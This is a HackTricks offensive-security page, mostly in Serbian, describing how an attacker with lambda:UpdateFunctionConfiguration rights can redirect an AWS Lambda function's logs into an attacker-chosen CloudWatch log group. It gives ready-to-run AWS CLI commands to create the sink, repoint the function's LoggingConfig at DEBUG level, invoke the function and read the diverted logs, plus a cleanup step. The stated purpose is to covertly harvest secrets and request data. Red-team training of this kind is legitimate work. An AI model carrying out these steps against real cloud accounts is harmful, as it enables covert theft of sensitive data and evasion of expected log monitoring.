AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Iskoristite napredne kontrole logovanja lambda:UpdateFunctionConfiguration da preusmerite logove funkcije u CloudWatch Logs log grupu koju odabere napadač. Ovo radi bez menjanja koda ili role za izvršavanje (većina Lambda rola već uključuje logs:CreateLogGroup/CreateLogStream/PutLogEvents preko AWSLambdaBasicExecutionRole). Ako funkcija ispisuje tajne/tela zahteva ili se ruši sa stack trace-ovima, možete ih prikupiti iz nove log grupe.

Potrebne dozvole

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (or rely on existing triggers)
  • logs:CreateLogGroup (often not required if the function role has it)
  • logs:FilterLogEvents (to read events)

Koraci

  1. Napravite odredišnu (sink) log grupu
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. Preusmerite logove ciljne funkcije
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

Sačekajte dok LastUpdateStatus ne postane Successful:

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. Pozovi i pročitaj iz sinka
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

Uticaj

  • Tajno preusmerite sve aplikacione/sistemske logove u grupu logova koju kontrolišete, zaobilazeći očekivanje da logovi stižu samo u /aws/lambda/<fn>.
  • Exfiltrate osetljive podatke koje funkcija ispisuje ili koji se pojavljuju u greškama.

Čišćenje

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

Beleške

  • Kontrole logovanja su deo Lambda LoggingConfig (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
  • Po defaultu, Lambda šalje logove na /aws/lambda/<function>, ali možete da usmerite na bilo koje ime log grupe; Lambda (ili uloga za izvršenje) će je kreirati ako dozvole to omogućavaju.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks